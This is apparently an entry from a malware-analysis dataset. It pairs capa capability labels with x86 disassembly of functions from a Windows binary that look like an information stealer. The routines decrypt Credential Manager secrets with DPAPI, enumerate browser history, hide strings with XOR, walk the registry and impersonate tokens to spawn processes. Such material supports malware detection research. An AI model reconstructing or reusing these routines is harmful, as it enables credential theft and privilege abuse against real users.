joyce8/EMBER2024-capa huggingface dataset:
Function at 0x427237
Capabilities:
Encode data using xor

Disassembly:
mov eax, 0x467b5f
call fcn.00465ac0
sub esp, 0xcc
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_lstrlenW]
push esi
push edi
mov esi, edx
mov dword [ebp - 0x14], ecx
push esi
call ebx
test eax, eax
je 0x4273d8
push dword [ebp + 8]
call ebx
test eax, eax
je 0x4273d8
mov ebx, dword [sym.imp.SHLWAPI.dll_StrCmpNW]
mov edi, esi
push 7
push str.DPAPI:
push esi
call ebx
test eax, eax
jne 0x427286
lea edi, [esi + 0xe]
push 0x12
push 0x47a380
push esi
call ebx
test eax, eax
jne 0x427297
add edi, 0x24
push 6
push str.ftp:__
push edi
call ebx
test eax, eax
jne 0x4273d8
mov ebx, dword [ebp - 0x14]
lea edx, [ebp - 0xe]
mov cl, 9
mov byte [ebp - 0xd], 0
mov al, 3
mov byte [ebp - 0xf], cl
xor al, cl
mov byte [ebp - 0xd], 0
push 1
mov ecx, ebx
mov byte [ebp - 0xe], al
call fcn.00433de5
mov esi, dword [sym.imp.KERNEL32.dll_lstrlenW]
pop ecx
push edi
call esi
push eax
mov edx, edi
mov ecx, ebx
call fcn.00433d28
pop ecx
mov cl, 0x3d
mov byte [ebp - 0xd], 0
mov al, 0x37
mov byte [ebp - 0xf], cl
xor al, cl
mov byte [ebp - 0xd], 0
push 1
lea edx, [ebp - 0xe]
mov byte [ebp - 0xe], al
mov ecx, ebx
call fcn.00433de5
pop ecx
push dword [ebp + 8]
call esi
mov edx, dword [ebp + 8]
mov ecx, ebx
push eax
call fcn.00433d28
lea ecx, [ebp - 0xd8]
call fcn.00411a9d
xor ebx, ebx
mov dword [ebp - 4], ebx
mov ecx, ebx
movaps xmm0, xmmword [0x47b960]
movups xmmword [ebp - 0x25], xmm0
mov byte [ebp - 0x15], bl
mov al, byte [ebp - 0x25]
xor byte [ebp + ecx - 0x24], al
inc ecx
cmp ecx, 0xf
jb 0x427332
mov byte [ebp - 0x15], bl
call fcn.00433f77
push ecx
push ecx
lea edx, [ebp - 0x24]
mov ecx, eax
call fcn.00433ad6
push eax
lea ecx, [ebp - 0xd8]
call fcn.00411a0d
mov ecx, edi
call fcn.00433e6c
mov edx, eax
lea ecx, [ebp - 0xd8]
call fcn.00413f35
mov cl, 0x35
mov byte [ebp - 0xd], bl
mov al, 0x3f
mov byte [ebp - 0xf], cl
xor al, cl
lea edx, [ebp - 0xe]
lea ecx, [ebp - 0xd8]
mov byte [ebp - 0xe], al
call fcn.00413f35
mov ecx, dword [ebp + 8]
call fcn.00433e6c
mov edx, eax
lea ecx, [ebp - 0xd8]
call fcn.00413f35
mov cl, 0x5e
mov byte [ebp - 0x11], bl
mov al, 0x54
mov byte [ebp - 0x13], cl
xor al, cl
lea edx, [ebp - 0x12]
lea ecx, [ebp - 0xd8]
mov byte [ebp - 0x12], al
call fcn.00413f35
lea ecx, [ebp - 0xd8]
call fcn.004119dd
lea ecx, [ebp - 0xd8]
call fcn.00410a1b
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
leave
ret
Function at 0x4273e7
Capabilities:
Encode data using xor

Disassembly:
mov eax, 0x467b86
call fcn.00465ac0
sub esp, 0x194
push ebx
push esi
push edi
mov edi, ecx
lea esi, [edx - 1]
push ecx
lea ecx, [ebp - 0x1a0]
call fcn.00411a9d
and dword [ebp - 4], 0
mov ebx, 0x47748b
sub esi, 3
je 0x4274c6
sub esi, 1
je 0x4274b3
sub esi, 1
jne 0x4275fa
mov ecx, dword [ebp + 0x14]
call fcn.00433e6c
mov ecx, dword [ebp + 0xc]
mov edi, eax
call fcn.00433e6c
mov ecx, dword [ebp + 8]
mov esi, eax
call fcn.00433e6c
push edi
mov edx, esi
mov ecx, eax
call fcn.004342bb
movaps xmm0, xmmword [0x47ba20]
mov esi, eax
movups xmmword [ebp - 0x3c], xmm0
pop ecx
movaps xmm0, xmmword [str.nS_GDYNY_v]
xor ecx, ecx
movups xmmword [ebp - 0x2c], xmm0
mov al, byte [ebp - 0x3c]
xor byte [ebp + ecx - 0x3b], al
inc ecx
cmp ecx, 0x1e
jb 0x427470
mov edi, 0x48a910
mov byte [ebp - 0x1d], 0
lea edx, [ebp - 0x3b]
mov ecx, edi
call fcn.00413f35
mov edx, 0x486b98
mov ecx, eax
call fcn.004140f6
mov edx, esi
mov ecx, edi
call fcn.00413f35
inc dword [0x48a8d8]
push esi
call fcn.0043e4ae
jmp 0x4274c0
push dword [ebp + 0xc]
mov edx, dword [ebp + 8]
mov ecx, edi
call fcn.00427237
pop ecx
jmp 0x4275fa
mov ecx, dword [ebp + 0xc]
mov eax, dword [ecx + 8]
mov esi, dword [ecx]
add eax, esi
mov edx, dword [ecx + 4]
add eax, edx
cmp dword [ebp + 0x10], eax
jb 0x4275fa
mov edi, dword [ecx + 0x14]
lea eax, [ecx + 0x24]
mov dword [ebp - 0x18], eax
lea eax, [esi + edx]
add eax, ecx
shr edi, 1
mov dword [ebp - 0x1c], eax
je 0x4275fa
mov ecx, dword [ebp + 8]
call fcn.00433e6c
mov edx, eax
mov ecx, ebx
call fcn.00433ad6
mov dl, 0x13
mov byte [ebp - 0x11], 0
mov cl, 0x19
mov byte [ebp - 0x13], dl
xor cl, dl
mov byte [ebp - 0x11], 0
mov byte [ebp - 0x12], cl
lea edx, [ebp - 0x12]
mov ecx, eax
call fcn.00433ad6
mov ebx, dword [ebp - 0x18]
mov esi, eax
mov ecx, dword [ebx]
add ecx, dword [ebp - 0x1c]
call fcn.00433e6c
mov edx, eax
mov ecx, esi
call fcn.00433ad6
add ebx, 0x20
mov dword [ebp - 0x10], 0x5e5e54
mov esi, eax
mov dword [ebp - 0x18], ebx
mov dl, 0x54
xor ecx, ecx
xor byte [ebp + ecx - 0xf], dl
inc ecx
cmp ecx, 2
jae 0x427560
mov dl, byte [ebp - 0x10]
jmp 0x427551
lea edx, [ebp - 0xf]
mov byte [ebp - 0xd], 0
mov ecx, esi
call fcn.00433ad6
push ecx
lea ecx, [ebp - 0xf0]
mov ebx, eax
call fcn.00411a9d
mov byte [ebp - 4], 1
xor edx, edx
movaps xmm0, xmmword [0x47c060]
movups xmmword [ebp - 0x2d], xmm0
mov byte [ebp - 0x1d], 0
mov cl, byte [ebp - 0x2d]
xor cl, byte [ebp + edx - 0x2c]
mov byte [ebp + edx - 0x2c], cl
inc edx
cmp edx, 0xf
jb 0x427591
mov byte [ebp - 0x1d], 0
call fcn.00433f77
push ecx
push ecx
lea edx, [ebp - 0x2c]
mov ecx, eax
call fcn.00433ad6
push eax
lea ecx, [ebp - 0xf0]
call fcn.00411a0d
mov edx, ebx
lea ecx, [ebp - 0xf0]
call fcn.00413f35
push ebx
call fcn.0043e4ae
pop ecx
lea ecx, [ebp - 0xf0]
call fcn.004119dd
lea ecx, [ebp - 0xf0]
mov byte [ebp - 4], 0
call fcn.00410a1b
sub edi, 1
jne 0x4274f7
lea ecx, [ebp - 0x1a0]
call fcn.00410a1b
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
leave
ret
Function at 0x4277e7
Capabilities:
Acquire credentials from windows credential manager
Encrypt data using dpapi

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x74
lea eax, [ebp - 0x70]
push ebx
push esi
push edi
push 0x12
mov ebx, ecx
lea edi, [ebp - 0x70]
pop ecx
mov esi, str.abe2869f_9b47_4cd9_a358_c22904dba7f7
rep movsd dword es:[edi], dword [esi]
push eax
movsw word es:[edi], word [esi]
mov edi, dword [sym.imp.KERNEL32.dll_lstrlenW]
xor esi, esi
call edi
test eax, eax
jle 0x427824
shl word [ebp + esi*2 - 0x70], 2
lea eax, [ebp - 0x70]
push eax
inc esi
call edi
cmp esi, eax
jl 0x427813
lea eax, [ebp - 0x70]
mov dword [ebp - 0x18], 0x4a
mov dword [ebp - 0x14], eax
xor edi, edi
lea eax, [ebp - 8]
mov dword [ebp - 8], edi
push eax
lea eax, [ebp - 4]
mov dword [ebp - 4], edi
push eax
push edi
push str.Microsoft_WinInet_
call dword [sym.imp.ADVAPI32.dll_CredEnumerateW]
test eax, eax
je 0x4278d6
mov eax, dword [ebp - 4]
test eax, eax
je 0x4278d6
mov ecx, dword [ebp - 8]
test ecx, ecx
je 0x4278d6
dec eax
mov dword [ebp - 4], eax
mov esi, dword [ecx + eax*4]
mov eax, dword [esi + 0x1c]
mov dword [ebp - 0x1c], eax
mov eax, dword [esi + 0x18]
mov dword [ebp - 0x20], eax
lea eax, [ebp - 0x10]
push eax
push 1
push edi
push edi
lea eax, [ebp - 0x18]
mov dword [ebp - 0xc], edi
push eax
push edi
lea eax, [ebp - 0x20]
mov dword [ebp - 0x10], edi
push eax
call dword [sym.imp.CRYPT32.dll_CryptUnprotectData]
test eax, eax
je 0x4278bd
cmp dword [ebp - 0xc], edi
je 0x4278bd
push edi
push edi
push dword [ebp - 0x10]
mov ecx, ebx
push dword [ebp - 0xc]
push dword [esi + 8]
push 5
pop edx
call fcn.004273e7
add esp, 0x14
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.dll_LocalFree]
mov eax, dword [ebp - 4]
test eax, eax
je 0x4278c9
mov ecx, dword [ebp - 8]
jmp 0x427863
push dword [ebp - 8]
or dword [ebp - 4], 0xffffffff
call dword [sym.imp.ADVAPI32.dll_CredFree]
pop edi
pop esi
pop ebx
leave
ret
Function at 0x4278db
Capabilities:
Enumerate browser history

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
push ebx
push edi
lea eax, [ebp - 0xc]
xor ebx, ebx
push eax
push 0x46bcd0
push 0x15
push ebx
push str._J7_
mov edi, ecx
mov dword [ebp - 0xc], ebx
call dword [sym.imp.ole32.dll_CoCreateInstance]
test eax, eax
js 0x4279ac
mov ecx, dword [ebp - 0xc]
lea edx, [ebp - 8]
mov dword [ebp - 8], ebx
push edx
push ecx
mov eax, dword [ecx]
mov eax, dword [eax + 0x1c]
call eax
test eax, eax
js 0x4279a3
mov ecx, dword [ebp - 8]
test ecx, ecx
je 0x4279a3
mov dword [ebp - 0x30], ebx
mov dword [ebp - 0x2c], ebx
mov dword [ebp - 0x34], 0x28
jmp 0x427981
cmp dword [ebp - 4], 1
jne 0x42799a
cmp dword [ebp - 0x30], ebx
je 0x42797e
push 0x47a4b4
push dword [ebp - 0x30]
call dword [sym.imp.SHLWAPI.dll_StrStrIW]
test eax, eax
je 0x42795b
xor ecx, ecx
mov word [eax], cx
mov edx, dword [ebp - 0x30]
mov ecx, edi
push eax
call fcn.00427614
pop ecx
push dword [ebp - 0x30]
call dword [sym.imp.ole32.dll_CoTaskMemFree]
cmp dword [ebp - 0x2c], ebx
je 0x42797e
push dword [ebp - 0x2c]
call dword [sym.imp.ole32.dll_CoTaskMemFree]
mov ecx, dword [ebp - 8]
lea edx, [ebp - 4]
mov dword [ebp - 4], ebx
mov eax, dword [ecx]
push edx
lea edx, [ebp - 0x34]
push edx
mov eax, dword [eax + 0xc]
push 1
push ecx
call eax
test eax, eax
jns 0x427939
mov eax, dword [ebp - 8]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
mov eax, dword [ebp - 0xc]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
pop edi
pop ebx
leave
ret
Function at 0x432cac
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
push ebx
push esi
xor ebx, ebx
mov dword [ebp - 0x11], 0x9592b11e
push edi
mov edi, ecx
mov dword [ebp - 0xd], 0x8284938e
mov al, 0x1e
mov dword [ebp - 9], 0x8d8d85cf
mov byte [ebp - 5], bl
mov ecx, ebx
not al
xor byte [ebp + ecx - 0x10], al
inc ecx
cmp ecx, 0xb
jae 0x432ce6
mov al, byte [ebp - 0x11]
jmp 0x432cd5
lea eax, [ebp - 0x10]
mov byte [ebp - 5], bl
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov esi, eax
test esi, esi
je 0x432d64
movaps xmm0, xmmword [0x47c3a0]
mov ecx, ebx
movups xmmword [ebp - 0x27], xmm0
mov dword [ebp - 0x17], 0xe4e9e6f3
mov word [ebp - 0x13], 0xe2
mov al, byte [ebp - 0x27]
not al
xor byte [ebp + ecx - 0x26], al
inc ecx
cmp ecx, 0x14
jb 0x432d13
lea eax, [ebp - 0x26]
mov byte [ebp - 0x12], bl
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x432d5d
push ebx
push ebx
push ebx
lea ecx, [ebp - 4]
mov dword [ebp - 4], ebx
push ecx
call eax
test eax, eax
js 0x432d5d
mov edx, dword [ebp - 4]
test edx, edx
je 0x432d5d
push ecx
mov ecx, edi
call fcn.00432baf
mov eax, dword [ebp - 4]
pop ecx
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
push esi
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
pop edi
pop esi
pop ebx
leave
ret
Function at 0x43310a
Capabilities:
Query or enumerate registry key

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x100c
call fcn.0043f2b0
push esi
lea eax, [ebp - 8]
mov dword [ebp - 0xc], ecx
push eax
push 0x20019
xor esi, esi
push esi
push dword [ebp + 8]
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x4331d4
push ebx
push esi
push esi
push esi
push esi
lea eax, [ebp - 4]
mov ebx, esi
push eax
lea eax, [ebp - 0x100c]
push eax
push esi
jmp 0x4331b6
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_lstrlenW]
add eax, dword [ebp - 4]
lea eax, [eax*2 + 4]
push eax
call fcn.00444a12
pop ecx
push dword [ebp + 8]
mov esi, eax
push esi
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
push 0x47ad8c
push esi
call dword [sym.imp.KERNEL32.dll_lstrcatW]
lea eax, [ebp - 0x100c]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_lstrcatW]
mov ecx, dword [ebp - 0xc]
push esi
call fcn.00432d69
push esi
call fcn.00443c35
pop ecx
pop ecx
inc ebx
xor eax, eax
push eax
push eax
push eax
push eax
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0x100c]
push eax
push ebx
push dword [ebp - 8]
mov dword [ebp - 4], 0x7ff
call dword [sym.imp.ADVAPI32.dll_RegEnumKeyExW]
test eax, eax
je 0x433152
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop ebx
pop esi
leave
ret

Function at 0x4331d7
Capabilities:
Query or enumerate registry key

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1010
call fcn.0043f2b0
push esi
mov esi, dword [ebp + 8]
lea eax, [ebp - 8]
push edi
push eax
push 0x20019
xor edi, edi
mov dword [ebp - 0x10], ecx
push edi
push esi
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x4332e9
push edi
push edi
push edi
push edi
lea eax, [ebp - 4]
mov dword [ebp - 0xc], edi
push eax
lea eax, [ebp - 0x1010]
mov dword [ebp - 4], 0x7ff
push eax
push edi
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_RegEnumKeyExW]
test eax, eax
jne 0x4332e0
push ebx
mov ebx, dword [ebp + 0xc]
test esi, esi
je 0x433248
push esi
call dword [sym.imp.KERNEL32.dll_lstrlenW]
mov edi, eax
test ebx, ebx
je 0x433255
push ebx
call dword [sym.imp.KERNEL32.dll_lstrlenW]
jmp 0x433257
xor eax, eax
add eax, edi
add eax, dword [ebp - 4]
lea eax, [eax*2 + 4]
push eax
call fcn.00444a12
pop ecx
mov edi, eax
push esi
push edi
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
push 0x47ad8c
push edi
call dword [sym.imp.KERNEL32.dll_lstrcatW]
lea eax, [ebp - 0x1010]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_lstrcatW]
test ebx, ebx
je 0x43329a
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_lstrcatW]
mov ecx, dword [ebp - 0x10]
push edi
call fcn.0043310a
push edi
call fcn.00443c35
mov edi, dword [ebp - 0xc]
xor eax, eax
pop ecx
pop ecx
push eax
push eax
push eax
push eax
lea eax, [ebp - 4]
mov dword [ebp - 4], 0x7ff
push eax
lea eax, [ebp - 0x1010]
inc edi
push eax
push edi
push dword [ebp - 8]
mov dword [ebp - 0xc], edi
call dword [sym.imp.ADVAPI32.dll_RegEnumKeyExW]
push 0
pop edi
test eax, eax
je 0x43323b
pop ebx
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop edi
pop esi
leave
ret
Function at 0x433c35
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push ebx
push esi
push edi
mov edi, dword [ebp + 0xc]
mov dword [ebp - 8], edx
mov dword [ebp - 0xc], ecx
test edi, edi
je 0x433c4e
and dword [edi], 0
mov ebx, dword [ebp + 0x14]
xor esi, esi
cmp ebx, 1
jne 0x433c5f
mov eax, 0x200
jmp 0x433c6f
xor eax, eax
mov dword [ebp + 0xc], 0x100
cmp ebx, 2
cmove eax, dword [ebp + 0xc]
lea ebx, [ebp + 0xc]
or eax, 0x20019
push ebx
push eax
push 0
push edx
push ecx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
mov ebx, dword [ebp + 0x14]
test eax, eax
jne 0x433d02
lea eax, [ebp + 0x14]
push eax
push 0
lea eax, [ebp - 4]
push eax
push 0
push dword [ebp + 8]
push dword [ebp + 0xc]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne 0x433cf5
mov eax, dword [ebp + 0x14]
test eax, eax
je 0x433cf5
cmp dword [ebp - 4], 1
jne 0x433cb8
cmp eax, 1
je 0x433cf5
add eax, 4
push eax
call fcn.00444a12
mov esi, eax
pop ecx
test esi, esi
je 0x433cf5
lea eax, [ebp + 0x14]
push eax
push esi
push 0
push 0
push dword [ebp + 8]
push dword [ebp + 0xc]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne 0x433cec
test edi, edi
je 0x433cf5
mov eax, dword [ebp + 0x14]
mov dword [edi], eax
jmp 0x433cf5
push esi
call fcn.00443c35
pop ecx
xor esi, esi
push dword [ebp + 0xc]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
test esi, esi
jne 0x433d21
cmp ebx, 2
jae 0x433d21
mov edx, dword [ebp - 8]
lea eax, [ebx + 1]
mov ecx, dword [ebp - 0xc]
push eax
push 0
push edi
push dword [ebp + 8]
call fcn.00433c35
add esp, 0x10
jmp 0x433d23
mov eax, esi
pop edi
pop esi
pop ebx
leave
ret

Function at 0x433f77
Capabilities:
Contain obfuscated stackstrings
Encode data using xor
Query environment variable

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x124
push ebx
xor ebx, ebx
mov dword [ebp - 0xd], 0x6d7b7d28
mov cl, 0x28
mov dword [ebp - 9], 0x677a787a
mov dword [ebp - 5], 0x6d64616e
mov eax, ebx
mov byte [ebp - 1], bl
xor byte [ebp + eax - 0xc], cl
inc eax
cmp eax, 0xb
jae 0x433fae
mov cl, byte [ebp - 0xd]
jmp 0x433f9f
push 0x104
lea eax, [ebp - 0x120]
mov byte [ebp - 1], bl
push eax
lea eax, [ebp - 0xc]
push eax
call dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableA]
movaps xmm0, xmmword [0x47bb30]
xor ecx, ecx
cmp ecx, eax
mov dword [ebp - 4], 0xf243c
lea eax, [ebp - 0x120]
mov edx, ebx
sbb ecx, ecx
and ecx, eax
movups xmmword [ebp - 0x14], xmm0
mov al, byte [ebp - 0x14]
xor byte [ebp + edx - 0x13], al
inc edx
cmp edx, 0x12
jb 0x433fe9
lea edx, [ebp - 0x13]
mov byte [ebp - 1], bl
call fcn.00433ad6
pop ebx
leave
ret
Function at 0x434004
Capabilities:
Get disk information

Disassembly:
mov eax, 0x4686e8
call fcn.00465ac0
sub esp, 0x28
push esi
push edi
mov edi, ecx
xor eax, eax
mov dword [ebp - 0x1c], edi
mov dword [ebp - 0x18], eax
mov dword [edi], eax
mov dword [edi + 4], eax
mov dword [edi + 8], eax
mov dword [ebp - 4], eax
push 0x104
mov dword [ebp - 0x18], 1
call fcn.0043e76e
mov esi, eax
mov dword [esp], 0x104
push 0
push esi
mov dword [ebp - 0x14], esi
call fcn.00440e40
add esp, 0xc
push esi
push 0x104
call dword [sym.imp.KERNEL32.dll_GetLogicalDriveStringsA]
mov ecx, dword [ebp - 0x14]
xor esi, esi
mov al, byte [esi + ecx]
test al, al
je 0x4340bb
and dword [ebp - 0x34], 0
and dword [ebp - 0x24], 0
mov byte [ebp - 0x10], al
mov al, byte [esi + ecx + 1]
mov byte [ebp - 0xf], al
mov al, byte [esi + ecx + 2]
lea ecx, [ebp - 0x34]
mov byte [ebp - 0xe], al
lea eax, [ebp - 0x10]
push 3
push eax
mov dword [ebp - 0x20], 0xf
mov byte [ebp - 0x34], 0
call fcn.004128d5
lea eax, [ebp - 0x34]
mov dword [ebp - 4], 1
push eax
mov ecx, edi
call fcn.0041934e
lea ecx, [ebp - 0x34]
mov byte [ebp - 4], 0
call fcn.0041332b
mov ecx, dword [ebp - 0x14]
add esi, 4
cmp esi, 0x64
jl 0x434061
push ecx
call fcn.0043e4ae
pop ecx
mov ecx, dword [ebp - 0xc]
mov eax, edi
pop edi
pop esi
mov dword fs:[0], ecx
leave
ret

Function at 0x4343f1
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
movaps xmm0, xmmword [0x47bdd0]
push ebx
xor ebx, ebx
push esi
movups xmmword [ebp - 0x11], xmm0
mov byte [ebp - 1], bl
mov ecx, ebx
mov al, byte [ebp - 0x11]
xor byte [ebp + ecx - 0x10], al
inc ecx
cmp ecx, 0xf
jb 0x43440b
mov byte [ebp - 1], bl
call fcn.004340da
lea edx, [ebp - 0x10]
mov ecx, eax
call fcn.00433ad6
mov esi, eax
push esi
push ebx
push 0x1f0001
call dword [sym.imp.KERNEL32.dll_OpenMutexA]
test eax, eax
jne 0x43444a
push esi
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
mov al, 1
jmp 0x43444c
xor al, al
pop esi
pop ebx
leave
ret
Function at 0x436dcf
Capabilities:
Encode data using xor
Query or enumerate registry value

Disassembly:
mov eax, 0x468996
call fcn.00465ac0
sub esp, 0xbc
push ebx
xor ebx, ebx
push esi
mov esi, ecx
mov dword [ebp - 0x64], esi
mov dword [ebp - 0x2c], ebx
mov dword [ebp - 0x60], ebx
mov dword [ebp - 0x50], ebx
mov dword [ebp - 0x4c], 0xf
mov byte [ebp - 0x60], bl
xor eax, eax
mov edx, ebx
inc eax
mov dword [ebp - 4], eax
movaps xmm0, xmmword [str.d7_03_6_8__r_a]
movups xmmword [ebp - 0x85], xmm0
mov dword [ebp - 0x24], 0x40
movaps xmm0, xmmword [0x47bb00]
mov dword [ebp - 0x28], eax
movups xmmword [ebp - 0x75], xmm0
mov byte [ebp - 0x65], bl
mov cl, byte [ebp - 0x85]
xor byte [ebp + edx - 0x84], cl
inc edx
cmp edx, 0x1f
jb 0x436e29
push edi
lea eax, [ebp - 0x20]
mov byte [ebp - 0x65], bl
push eax
push 0x20119
push ebx
lea eax, [ebp - 0x84]
push eax
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov edi, eax
mov dword [ebp - 0x19], 0x34361a57
mov cl, 0x57
mov dword [ebp - 0x15], 0x32393e3f
mov dword [ebp - 0x11], 0x333e2210
mov edx, ebx
mov byte [ebp - 0xd], bl
xor byte [ebp + edx - 0x18], cl
inc edx
cmp edx, 0xb
jae 0x436e89
mov cl, byte [ebp - 0x19]
jmp 0x436e7a
lea eax, [ebp - 0x24]
mov byte [ebp - 0xd], bl
push eax
lea eax, [ebp - 0xc8]
push eax
lea eax, [ebp - 0x28]
push eax
push ebx
lea eax, [ebp - 0x18]
push eax
push dword [ebp - 0x20]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test edi, edi
pop edi
jne 0x436ec1
test eax, eax
jne 0x436ec1
lea eax, [ebp - 0xc8]
push eax
lea ecx, [ebp - 0x60]
call fcn.0041338c
push dword [ebp - 0x20]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea eax, [ebp - 0x60]
mov dword [ebp - 0x48], ebx
push eax
lea ecx, [ebp - 0x48]
mov dword [ebp - 0x38], ebx
mov dword [ebp - 0x34], ebx
call fcn.00413406
mov byte [ebp - 4], 2
mov ecx, esi
mov dword [esi], ebx
mov dword [esi + 0x10], ebx
mov dword [esi + 0x14], 0xf
push 0x47748b
mov byte [esi], bl
call fcn.0041338c
mov dword [ebp - 0x2c], 1
cmp dword [ebp - 0x34], 0x10
lea eax, [ebp - 0x48]
cmovae eax, dword [ebp - 0x48]
cmp byte [eax + ebx], 0
je 0x436f3b
cmp dword [ebp - 0x34], 0x10
lea eax, [ebp - 0x48]
cmovae eax, dword [ebp - 0x48]
movsx eax, byte [eax + ebx]
push eax
call fcn.00444c56
pop ecx
mov byte [ebp - 0x30], al
mov ecx, esi
push dword [ebp - 0x30]
call fcn.00413351
inc ebx
jmp 0x436f04
lea ecx, [ebp - 0x48]
call fcn.0041332b
lea ecx, [ebp - 0x60]
call fcn.0041332b
mov ecx, dword [ebp - 0xc]
mov eax, esi
pop esi
pop ebx
mov dword fs:[0], ecx
leave
ret
Function at 0x43719d
Capabilities:
Create process on windows
Enumerate processes
Impersonate user

Disassembly:
mov eax, 0x4689e9
call fcn.00465ac0
sub esp, 0x580
push ebx
xor ebx, ebx
mov dword [ebp - 0x1a], 0xc04197c
push edi
mov cl, 0x7c
mov dword [ebp - 0x16], 0x190e1310
mov dword [ebp - 0x12], 0x419520e
mov edx, ebx
mov word [ebp - 0xe], 0x19
xor byte [ebp + edx - 0x19], cl
inc edx
cmp edx, 0xc
jae 0x4371df
mov cl, byte [ebp - 0x1a]
jmp 0x4371d0
lea eax, [ebp - 0x19]
mov dword [ebp - 0x3c], ebx
push eax
lea ecx, [ebp - 0x3c]
mov byte [ebp - 0xd], bl
mov dword [ebp - 0x2c], ebx
mov dword [ebp - 0x28], 0xf
mov byte [ebp - 0x3c], bl
call fcn.0041338c
push ebx
push 2
mov dword [ebp - 4], ebx
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov edi, eax
mov dword [ebp - 0x384], 0x22c
lea eax, [ebp - 0x384]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_Process32FirstW]
test eax, eax
je 0x437343
push esi
lea edx, [ebp - 0x3c]
lea ecx, [ebp - 0x54]
call fcn.00436f5b
lea edx, [ebp - 0x360]
mov ecx, eax
lea esi, [edx + 2]
mov ax, word [edx]
add edx, 2
cmp ax, bx
jne 0x437243
mov eax, dword [ecx + 0x10]
sub edx, esi
sar edx, 1
cmp dword [ecx + 0x14], 8
jb 0x43725d
mov ecx, dword [ecx]
cmp eax, edx
jne 0x437274
push eax
lea edx, [ebp - 0x360]
call fcn.004134b8
pop ecx
test eax, eax
jne 0x437274
mov bl, 1
lea ecx, [ebp - 0x54]
call fcn.0041314d
test bl, bl
je 0x43732a
push dword [ebp - 0x37c]
xor ebx, ebx
push ebx
push 0x1fffff
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov esi, eax
lea eax, [ebp - 0x20]
push eax
push 0xf01ff
push esi
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x437321
lea eax, [ebp - 0x24]
push eax
push 1
push 2
push ebx
push 0xf01ff
push dword [ebp - 0x20]
call dword [sym.imp.ADVAPI32.dll_DuplicateTokenEx]
test eax, eax
je 0x437321
push dword [ebp - 0x20]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0x104
lea eax, [ebp - 0x158]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea eax, [ebp - 0x158]
push eax
call fcn.00449ce0
inc eax
push eax
lea eax, [ebp - 0x158]
push eax
lea eax, [ebp - 0x58c]
push eax
call fcn.0044f4b4
add esp, 0x10
lea eax, [ebp - 0x58c]
push ebx
push ebx
push ebx
push ebx
push ebx
push eax
push ebx
push 1
push dword [ebp - 0x24]
call dword [sym.imp.ADVAPI32.dll_CreateProcessWithTokenW]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x43732c
xor ebx, ebx
lea eax, [ebp - 0x384]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x43722d
pop esi
lea ecx, [ebp - 0x3c]
call fcn.0041332b
mov ecx, dword [ebp - 0xc]
xor eax, eax
pop edi
pop ebx
mov dword fs:[0], ecx
leave
ret